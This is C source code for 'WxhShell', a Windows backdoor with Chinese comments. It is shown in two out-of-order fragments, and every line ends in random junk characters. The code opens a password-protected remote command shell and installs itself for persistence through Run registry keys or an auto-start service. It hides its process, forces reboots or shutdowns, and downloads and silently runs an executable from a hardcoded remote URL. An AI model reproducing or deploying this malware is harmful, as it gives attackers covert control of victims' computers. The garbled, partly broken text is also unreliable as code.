    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sEb*GF*.V  
    if(Boot(SHUTDOWN)) 2Zq_zvKUt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q:b>1  
    else { _P_R`A)"  
    closesocket(wsh); Re;[S[D7  
    ExitThread(0); Zh:@A Fz:R  
    } W1}d6Sbg  
    break; =b3<}]  
    } -!j5j:RR  
  // 获取shell ,PWMl [X  
  case 's': { 0VgsV;  
    CmdShell(wsh); )P W Zc?M  
    closesocket(wsh); |'k7 ;UW  
    ExitThread(0); jjoyMg95  
    break; =, U~  
  } 78'3&,+si  
  // 退出  N,ihQB5  
  case 'x': { Xj6?,J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `g'9)Xf4KT  
    CloseIt(wsh); TwZmZE ?!  
    break; G{'`L)~3N  
    } \S#![NC  
  // 离开 Q=498Y~x  
  case 'q': { ynq^ztBVe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l5Q-M{w0x  
    closesocket(wsh); d?GB#N|+g  
    WSACleanup(); covK6SH  
    exit(1); y $>U[^G[  
    break; ?&XpwJw:~  
        } 8}OII\  
  } [@/x  
  } 35#"]l"  
]#O~lq  
  // 提示信息 /kFw(l_.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T;Ra/H  
} enQev?8%  
  } ftqeiZ 2  
\avgXndI  
  return; 8Dc'"3+6  
} -H](2}  
FHyyZ{"  
// shell模块句柄 :W}M$5|  
int CmdShell(SOCKET sock) X|pOw,"  
{ tc<HA7vpt~  
STARTUPINFO si; )cRP6 =  
ZeroMemory(&si,sizeof(si)); 1NU@k6UHl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }ILg_>uq[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $s9YU"  
PROCESS_INFORMATION ProcessInfo; "xMnD(p  
char cmdline[]="cmd"; ,uhOf! |  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zqGo7;;#  
  return 0; uRRp8hht  
} $mDlS  
OO?BN!  
// 自身启动模式 _Dg|Iz,Uh  
int StartFromService(void) Pu0O6@Rg  
{ MryY<s  
typedef struct 5tu 4uYp;  
{ Ov~>* [  
  DWORD ExitStatus; 4wx _@8  
  DWORD PebBaseAddress; V%'+ ob6  
  DWORD AffinityMask; A:Kit_A  
  DWORD BasePriority; af;~<o a  
  ULONG UniqueProcessId; i{nFk',xX  
  ULONG InheritedFromUniqueProcessId; Xp_G9I,+  
}   PROCESS_BASIC_INFORMATION; %D<>F&h  
{wVJv1*l  
PROCNTQSIP NtQueryInformationProcess; JQ"w{O  
L=-v>YL+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KFn[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; drf?7%v  
Z/[ww8b.  
  HANDLE             hProcess; ~g|z7o  
  PROCESS_BASIC_INFORMATION pbi; \~@a/J  
De:| T8&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HF]|>1WV[  
  if(NULL == hInst ) return 0; }>~]q)]  
LRmH@-qP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 20k@!BNq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S,2{^X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A\};^Y  
. KzU7  
  if (!NtQueryInformationProcess) return 0; |$.`4h?  
GUdVsZjz(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jz6zJKcA  
  if(!hProcess) return 0; v?qU/  
=S}SZYw l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `l`)Cs;a  
Ld:U~M-  
  CloseHandle(hProcess); Ny)N  
Ga#5xAI{a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G[z4 $0f  
if(hProcess==NULL) return 0; nEboet-#D0  
5AO' IhpL  
HMODULE hMod; n0%]dKCB  
char procName[255]; pv;ZR  
unsigned long cbNeeded; ^+'\ u;\  
B@v"giJgr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,5HC &@  
4n, >EA85  
  CloseHandle(hProcess); q, XRb  
;-!j,V+$h  
if(strstr(procName,"services")) return 1; // 以服务启动 I<^&~==  
%cFqD &6  
  return 0; // 注册表启动 O7D61~G]  
} ntt:>j$  
gj-MkeI)  
// 主模块 Dt\rMSjZ9  
int StartWxhshell(LPSTR lpCmdLine) GYK&QYi,  
{ !JWZ}u M6  
  SOCKET wsl; byetbt(IF  
BOOL val=TRUE; Ym5ji$!2  
  int port=0; cfA)Ui  
  struct sockaddr_in door; 0L|D1_k[  
QFX )Nov];  
  if(wscfg.ws_autoins) Install(); /#xx,?~xx0  
S"G`j!m1  
port=atoi(lpCmdLine); s\A4y "  
[|"{a  
if(port<=0) port=wscfg.ws_port; ;{hE]jReH  
nH7i)!cI~  
  WSADATA data; xN=:*#Z"pb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [$AOu0J  
bAZ x*qE=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !,zRg5Wp4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0mD=Rjb*a  
  door.sin_family = AF_INET; f15f)P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EsKOzl[c:  
  door.sin_port = htons(port); Hklgf  
>%{H>?Hn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (nLT 8{>0  
closesocket(wsl); ud,=O X q  
return 1; ~Ddlr9Ej  
} Y+0HC2(o  
<9jN4hV  
  if(listen(wsl,2) == INVALID_SOCKET) { @Rp#*{  
closesocket(wsl); Nr#" 5<W  
return 1; 2E*h,Mo  
} o+I'nFtnI  
  Wxhshell(wsl); sxFkpf_h  
  WSACleanup(); IFfB3{J  
U+wfq%Fz  
return 0; $F/Uk;*d!  
yTwtGo&  
} 0$A7"^]  
%RX}sS  
// 以NT服务方式启动 ?'I pR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n+9rx]W,  
{ r}Ec_0_lt  
DWORD   status = 0; @_4E^KgF  
  DWORD   specificError = 0xfffffff; D*o5fPvFO  
l6#ms!e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |VxO ,[~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )CM3v L {  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?KMGk]_<  
  serviceStatus.dwWin32ExitCode     = 0; 1sN >U<  
  serviceStatus.dwServiceSpecificExitCode = 0; _q<Ke/  
  serviceStatus.dwCheckPoint       = 0; 1'Y7h;\~\  
  serviceStatus.dwWaitHint       = 0; QdtGFY4f,  
GB\1'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g:]X '%Ub  
  if (hServiceStatusHandle==0) return; BA(PWX`H  
lZf=#  
status = GetLastError(); 1K&l}/zUl  
  if (status!=NO_ERROR) |\k,qVQ  
{ u#r[JF9LP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +4]31d&3  
    serviceStatus.dwCheckPoint       = 0; h}knn3"S  
    serviceStatus.dwWaitHint       = 0; Q8>  
    serviceStatus.dwWin32ExitCode     = status; "ukiuCfVuW  
    serviceStatus.dwServiceSpecificExitCode = specificError; W_%@nm\y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3; Ztm$8  
    return; &x>8 %Q s  
  } &2\^S+4  
NUp,In_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cr#Z.  
  serviceStatus.dwCheckPoint       = 0; i^2-PKPg{  
  serviceStatus.dwWaitHint       = 0; \PJpy^i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |];f?1  
} czu?]9;^ Z  
W34_@,GD  
// 处理NT服务事件,比如:启动、停止 .&2Nm&y$ K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qnCJrY6]  
{ 5nSi29C  
switch(fdwControl) x}B_;&>&"_  
{ ll8Zo+-[  
case SERVICE_CONTROL_STOP:  L$Yg*]\  
  serviceStatus.dwWin32ExitCode = 0; CS|al(?~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nXFPoR)T  
  serviceStatus.dwCheckPoint   = 0; (`me}8  
  serviceStatus.dwWaitHint     = 0; xq-TT2}<L  
  { pf[m"t6G~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sm9/sX!  
  } u-%|ZSg  
  return; !Un &OAy.!  
case SERVICE_CONTROL_PAUSE: _Z{EO|L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `m7w%J.>n  
  break; ~H~iKl}|7  
case SERVICE_CONTROL_CONTINUE: [,86||^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SL ) ope  
  break; i4s_:%+  
case SERVICE_CONTROL_INTERROGATE: H2 Gj(Nc-  
  break; +u\kTn  
}; 8 LH\a.>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Lb?ZXT3  
} }K'gjs/N;  
|rr<4>)X  
// 标准应用程序主函数 %]1.)j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jhF&   
{ X5w_ }Nhe  
])tUXU>  
// 获取操作系统版本 Wkj0z ]]?  
OsIsNt=GetOsVer(); x?rn< =  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2.PZtl  
lGZf_X)gA^  
  // 从命令行安装 V(c>1xLlz  
  if(strpbrk(lpCmdLine,"iI")) Install(); =%Z5"];  
t$zeB OI)  
  // 下载执行文件 Z;M th#  
if(wscfg.ws_downexe) { Yx3ivjX.>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -.!+i8d>  
  WinExec(wscfg.ws_filenam,SW_HIDE); :pXY/Pa  
} _-c1" Kl  
6haw\ *  
if(!OsIsNt) { Ygs:Ox"[-G  
// 如果时win9x,隐藏进程并且设置为注册表启动 3]wV 1<K  
HideProc(); tRu j}n+x  
StartWxhshell(lpCmdLine); Uy98lv  
} @t{`KB+ ^  
else "OWW -m  
  if(StartFromService())  hSgH;k  
  // 以服务方式启动 e]DuV)k&  
  StartServiceCtrlDispatcher(DispatchTable); Bj*\)lG<  
else qac8zt#2 C  
  // 普通方式启动 {v>8Kp7_R  
  StartWxhshell(lpCmdLine); GJTakhj3  
P1qQ)-J  
return 0; aGbHDo  
} !))!! {  
5`\"UC7?%  
/hp [ +K  
%Kzu&*9Hb  
=========================================== Vf#g~IOI  
LTWiCI  
^Gwpx +  
&qyXi[vw  
5hj _YqQ7  
;FnU[Q`M#L  
" C/#?S=w`4  
aE 2=  
#include <stdio.h> 0T2^$^g  
#include <string.h> K3xt,g  
#include <windows.h> y%!zXK`cl]  
#include <winsock2.h> {!>'# F^e  
#include <winsvc.h> :`B70D8ku  
#include <urlmon.h> ^ /ZNdwx  
t>}(` 0  
#pragma comment (lib, "Ws2_32.lib") VOGx  
#pragma comment (lib, "urlmon.lib") vw w>]Z}  
Zdy{e|-Zn  
#define MAX_USER   100 // 最大客户端连接数 -Dy":/Bk  
#define BUF_SOCK   200 // sock buffer +F]=Z  
#define KEY_BUFF   255 // 输入 buffer >qS2ha  
Plj>+XRO  
#define REBOOT     0   // 重启 Fk`|?pQm  
#define SHUTDOWN   1   // 关机 a3J' c  
`MC5_SG 1  
#define DEF_PORT   5000 // 监听端口 C Ef*:kr  
D%~"]WnZ\Q  
#define REG_LEN     16   // 注册表键长度 9Yhl q$;g  
#define SVC_LEN     80   // NT服务名长度 J b?x-%Za  
@~&1!  
// 从dll定义API b ,e"x48q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~xt]g zp{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S{jm4LZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i6P'_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p735i`8  
t03T1.:(Mg  
// wxhshell配置信息 WP5Vev9*+  
struct WSCFG { e(H{C  
  int ws_port;         // 监听端口 X:mm<4  
  char ws_passstr[REG_LEN]; // 口令 7G=Q9^J.H  
  int ws_autoins;       // 安装标记, 1=yes 0=no ijACfl{!:t  
  char ws_regname[REG_LEN]; // 注册表键名 +:3s f%0  
  char ws_svcname[REG_LEN]; // 服务名 N{#9gr3zi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yA~1$sA1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d]vom@iI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 95mwDHbA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p0Pmmp7r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -,q qQf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i hcSSUm  
nm,(Wdr  
}; 2$b JMx>  
wGgeK,*_  
// default Wxhshell configuration a[jNT$8  
struct WSCFG wscfg={DEF_PORT, z:oi @q  
    "xuhuanlingzhe", n{(,r'  
    1, #'4Psz  
    "Wxhshell", <9]J/w+  
    "Wxhshell", eCjyx|:J  
            "WxhShell Service", [&sabM`Ul  
    "Wrsky Windows CmdShell Service", Ys]cJ]  
    "Please Input Your Password: ", :Q ?p^OC  
  1, &2r[4  
  "http://www.wrsky.com/wxhshell.exe", + zf`_1+)U  
  "Wxhshell.exe" rN'8,CV  
    }; Ac'pu,v  
gjzU%{T ?  
// 消息定义模块 NAX`y2z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (Rsf;VPO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {wD:!\5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V;"Rp-`^  
char *msg_ws_ext="\n\rExit."; K!(hj '0.  
char *msg_ws_end="\n\rQuit."; +z<GycIc?K  
char *msg_ws_boot="\n\rReboot..."; y ~Fi  
char *msg_ws_poff="\n\rShutdown..."; iL|5}x5\  
char *msg_ws_down="\n\rSave to "; ujf7r`;u.  
M'JCT'(X  
char *msg_ws_err="\n\rErr!"; Q_`EKz;N{  
char *msg_ws_ok="\n\rOK!"; :}CcWfbT  
T%aM~dp  
char ExeFile[MAX_PATH]; [e o=  
int nUser = 0; r<B pX["  
HANDLE handles[MAX_USER]; &q +l5L"  
int OsIsNt; C=t9P#g*.  
O*yA50Cn  
SERVICE_STATUS       serviceStatus; C(vQR~_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ro=dgQ0:t  
,I H~  
// 函数声明 vCUbbQz  
int Install(void); DDj:(I?,w  
int Uninstall(void); AWg'J  
int DownloadFile(char *sURL, SOCKET wsh); "A0y&^4B@  
int Boot(int flag); ,z#S=I  
void HideProc(void); 0,B"p  
int GetOsVer(void); ]"'1-h91  
int Wxhshell(SOCKET wsl); :r7!HG _  
void TalkWithClient(void *cs); SPm2I(at7  
int CmdShell(SOCKET sock); 7bQST0 ?  
int StartFromService(void); Ymf@r?F<  
int StartWxhshell(LPSTR lpCmdLine); K5F;/ KR"  
^ywDa^;-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'n}]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zm3$)*p1  
[x'D+!  
// 数据结构和表定义 =t %;mi,M  
SERVICE_TABLE_ENTRY DispatchTable[] = Ii!{\p!  
{ bX 6uGu 7  
{wscfg.ws_svcname, NTServiceMain}, o .V JnrJ  
{NULL, NULL} n. vrq-  
}; Rm`P.;%  
TW}].A_-  
// 自我安装 o5:md :\  
int Install(void) @|{8/s Oq  
{ 9CAu0N5<  
  char svExeFile[MAX_PATH]; 7rG+)kHG  
  HKEY key; 0"Zxbgu)  
  strcpy(svExeFile,ExeFile); O;|jLf_If  
IaK J W?  
// 如果是win9x系统,修改注册表设为自启动 s1tkiX{>  
if(!OsIsNt) { dptfIBYc+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !x! 1H5"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bXA%|7*  
  RegCloseKey(key); WWC&-Ni  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !w%p Gv.wg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x~F YG  
  RegCloseKey(key); 7a=ul:  
  return 0; O:ACp<@  
    } ">Ms V/  
  } G cB<i  
} Zu 4au<  
else { J:OP*/@='  
0sH~H[ap  
// 如果是NT以上系统,安装为系统服务  smn~p/u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MI-S}Qoe  
if (schSCManager!=0) 6n~)R  
{ WVz2 bzj  
  SC_HANDLE schService = CreateService N`4XlD  
  ( 4*inN~cU  
  schSCManager, KD]`pqN9  
  wscfg.ws_svcname, nm_4E8&X  
  wscfg.ws_svcdisp, ^=8/Iw  
  SERVICE_ALL_ACCESS, wd3OuDrU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QEMT'Cs  
  SERVICE_AUTO_START, *j=58d`n  
  SERVICE_ERROR_NORMAL, ]wfY<Z  
  svExeFile, 9_8\xLk  
  NULL, 85$ WH  
  NULL, ZXXJ!9-&+J  
  NULL, Y!+H9R  
  NULL, nM *}VI  
  NULL /%gMzF  
  ); gk;hpO  
  if (schService!=0) Uy*d@vU9c  
  { f>e0 l'\  
  CloseServiceHandle(schService); .jiJgUa7  
  CloseServiceHandle(schSCManager); 6:AEg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ikw.L  
  strcat(svExeFile,wscfg.ws_svcname); cc>b#&s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'z{|#zd9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CD5% iFy  
  RegCloseKey(key); ,*YmXR-"  
  return 0; R_>.O?U4  
    } P00%EB  
  } j"fx|6l)  
  CloseServiceHandle(schSCManager); q8n@fi6  
} y#8 W1%{x  
} Zz+v3o0  
U| ?68B3  
return 1; W*DK pJy  
} g4YlG"O[~  
!aKu9SR^e  
// 自我卸载 |MagK$o  
int Uninstall(void) f~/hsp~Hp  
{ agE-,  
  HKEY key; k+*pg4 '  
|QMmF"0  
if(!OsIsNt) { 6 EfBz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :RxMZwa=  
  RegDeleteValue(key,wscfg.ws_regname); iX<" \pV  
  RegCloseKey(key); wwQ2\2w>Hm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cd=|P?B i  
  RegDeleteValue(key,wscfg.ws_regname); J*Ie# :J]  
  RegCloseKey(key); +6$ -"lf  
  return 0; z]-m<#1  
  } &328pOT4  
} "6U@e0ht  
} <QC7HR  
else { uPapINj  
&:u3-:$:9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #I*{_|}=  
if (schSCManager!=0) 9Kg yt  
{ *SIYZE'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `9gV8u  
  if (schService!=0) >B=s+ }/ME  
  { 7l[ @c|e  
  if(DeleteService(schService)!=0) { i$`o,m#  
  CloseServiceHandle(schService); 12?!Z  
  CloseServiceHandle(schSCManager); r:$*pC&{  
  return 0; m#i4_F=^b  
  } e|5@7~Vi  
  CloseServiceHandle(schService); I/!AjB8W4  
  } -iY-rzW  
  CloseServiceHandle(schSCManager); `#wEa'v6  
} q@O  
} s6Dkh}:d  
V5i}^%QSs  
return 1; kFY2VPP~  
} fR~0Fy Gp  
|K;9b-\  
// 从指定url下载文件 '/t9#I@G\  
int DownloadFile(char *sURL, SOCKET wsh) hdcB*j?4  
{ >HRNB&]LdP  
  HRESULT hr; -Eig#]Se3  
char seps[]= "/"; =:xX~,qmv  
char *token; !8T04988j  
char *file; B|yz~wu S  
char myURL[MAX_PATH]; v\MQ?VC  
char myFILE[MAX_PATH]; :uB?h1|  
ao=e{R)  
strcpy(myURL,sURL); mqHH1}  
  token=strtok(myURL,seps); WVhQ?2@}  
  while(token!=NULL) !Ur.b @ke  
  { " DLIx}  
    file=token; &4sz:y4T>  
  token=strtok(NULL,seps); e`H>}O/ai  
  } O[eU{ ;P  
Z 4i5,f  
GetCurrentDirectory(MAX_PATH,myFILE); ?U[6X| 1  
strcat(myFILE, "\\"); i2rSP$j  
strcat(myFILE, file); [Gv8Fn/aG  
  send(wsh,myFILE,strlen(myFILE),0); !g6=/9  
send(wsh,"...",3,0); lY(_e#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >ov#\  
  if(hr==S_OK) R@s|bs?  
return 0; i+in?!@G:  
else s$qc &  
return 1; q :~/2<o  
je2"D7D  
} K]Vp! G  
.0RQbc9  
// 系统电源模块 W)J5[p?  
int Boot(int flag) P0(LdZH6u  
{ [tJn! cMs  
  HANDLE hToken; tU2#Z=a  
  TOKEN_PRIVILEGES tkp; 'J-a2oiM(  
#NGtba  
  if(OsIsNt) { 7&wxnxSk^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I{>Z0+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :_:)S  
    tkp.PrivilegeCount = 1; o _l_Yi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3 yb]d5:U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M% Rr=  
if(flag==REBOOT) { y!}XlllV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) = M4:nt  
  return 0; iR./9}Ze  
} =T6 ~89  
else { ^b`-zFL7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8> $=p4bf  
  return 0; (n: A` ]  
} XNfl  
  } _'1 ]CoR  
  else { 9ZU^([@D  
if(flag==REBOOT) { f=Pn,.>tIz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _deEs5i  
  return 0; /SS~IhUX  
} J?X{NARt  
else { fe`_0lxj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _[rQt8zn  
  return 0; M  |h B[  
} j$XaO%y)  
} v=hn# U  
xyM|q9Gf@  
return 1; &0y` Gt  
} &Wb"/Hn2  
"u^vBd[}  
// win9x进程隐藏模块 .U@u |  
void HideProc(void) DCZG'eb  
{ Y/I)ECm  
m%[/w wL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kSc~gJrne  
  if ( hKernel != NULL ) x3`JC&hF,q  
  { WjK[% ;Z!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ok:L]8UN 3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B0)|sH  
    FreeLibrary(hKernel); 3)#Nc|  
  } #}@8(>T  
8q{|nH  
return; L[ D+=  
} {~FPvmj&  
"+7E9m6I  
// 获取操作系统版本 GiM-8y~  
int GetOsVer(void) Dt(D5A  
{ FvPWS!H  
  OSVERSIONINFO winfo; +swTMR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V>Z4gZp5sc  
  GetVersionEx(&winfo); U_izKvEh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :Z2997@Y  
  return 1; @#N7M2/  
  else PWx%~U.8~j  
  return 0; @MTv4eC}e  
} sF[gjeIb  
X])iQyN  
// 客户端句柄模块 Nb !i_@m%s  
int Wxhshell(SOCKET wsl) U?{oxy_[2  
{ v6=%KXSF  
  SOCKET wsh; o8<~zeI  
  struct sockaddr_in client; KN657 |f  
  DWORD myID; 'NCqI  
l5VRdZ4Uf  
  while(nUser<MAX_USER) & C)1(  
{ ,lvG5B\0  
  int nSize=sizeof(client); umq6X8K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .uS`RS8JM  
  if(wsh==INVALID_SOCKET) return 1; uo2k  
:*|Ua%L_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4TPdq&';C:  
if(handles[nUser]==0) Op]*wwI*h  
  closesocket(wsh); m> P\}A^N  
else 9{Etv w  
  nUser++; RC1bTM  
  } 6.KEe^[-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ] L#c <0  
Jh&DL8`  
  return 0; M@h"FuX:  
} 1|xe'w{  
D^m2iW;  
// 关闭 socket 0?/gEr  
void CloseIt(SOCKET wsh) 9oGcbD4*  
{ s K+uwt  
closesocket(wsh); 9U.Ctx:F  
nUser--; !i (V.A  
ExitThread(0); 2AhfQ%Y=  
} $6*Yh-"g  
2P8wvNDG  
// 客户端请求句柄 fvH{ va.  
void TalkWithClient(void *cs) R59iuHQ[  
{ m^qFaf)6  
m{RXt  
  SOCKET wsh=(SOCKET)cs; %} zkmEY.e  
  char pwd[SVC_LEN]; 4D<C;>*/b  
  char cmd[KEY_BUFF]; inO;Uwlv  
char chr[1]; u1y>7,Z6W  
int i,j; 8/tB?j  
*aM7d>nG5  
  while (nUser < MAX_USER) { j_}:=3  
0%L:jq{5  
if(wscfg.ws_passstr) { @M<qz\ [  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =6:9y}~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y6d!?M(0U  
  //ZeroMemory(pwd,KEY_BUFF); YzG?K0O%  
      i=0; 2[pOGc$  
  while(i<SVC_LEN) { 2>k*9kyp  
e_|<tYx><  
  // 设置超时 98 5h]KQ  
  fd_set FdRead; v.C  
  struct timeval TimeOut; "PRHQW  
  FD_ZERO(&FdRead); 8M,o)oH  
  FD_SET(wsh,&FdRead); <2 [vR|Q*  
  TimeOut.tv_sec=8; obF|;fwPnR  
  TimeOut.tv_usec=0; 71AYDO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M_%KhK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hLZf A rq}  
H3R{+7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 59j`Z^e  
  pwd=chr[0];  {p/Yz#  
  if(chr[0]==0xd || chr[0]==0xa) { +kYp!00  
  pwd=0; ]k]bLyz\J  
  break; B1~`*~@  
  } K*DH_\SPK  
  i++; \ Xh C  
    } )6p6<y  
Nb ~J'"  
  // 如果是非法用户,关闭 socket Pi?G:IF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U7n#TPet  
} #>:S&R?2t  
Os>&:{D4!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (Ytr&gh;0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Et }%)M  
K{DmMi];I  
while(1) { S WTZ6(!oW  
%SIll  
  ZeroMemory(cmd,KEY_BUFF); ?K2EK'-q  
j~ds)dW%`&  
      // 自动支持客户端 telnet标准   GEVDXx>@  
  j=0; 'do2n/  
  while(j<KEY_BUFF) { Uq'W<.v 5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S{e3aqT#N  
  cmd[j]=chr[0]; 3zKeN:w  
  if(chr[0]==0xa || chr[0]==0xd) { wt9f2  
  cmd[j]=0; iZnLgkk@  
  break; JSju4TQ4  
  } Gchs$^1`t  
  j++; ;Krs*3 s  
    } &W<9#RPK'  
"DvZCf[}  
  // 下载文件 Lks+FW  
  if(strstr(cmd,"http://")) { v07A3oj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %2I>-0]B  
  if(DownloadFile(cmd,wsh)) G?,3Zn0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Ul,9qG+  
  else JK!`uG+v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J?Y,3cc.  
  } jf;n*  
  else { a)r["*bTx  
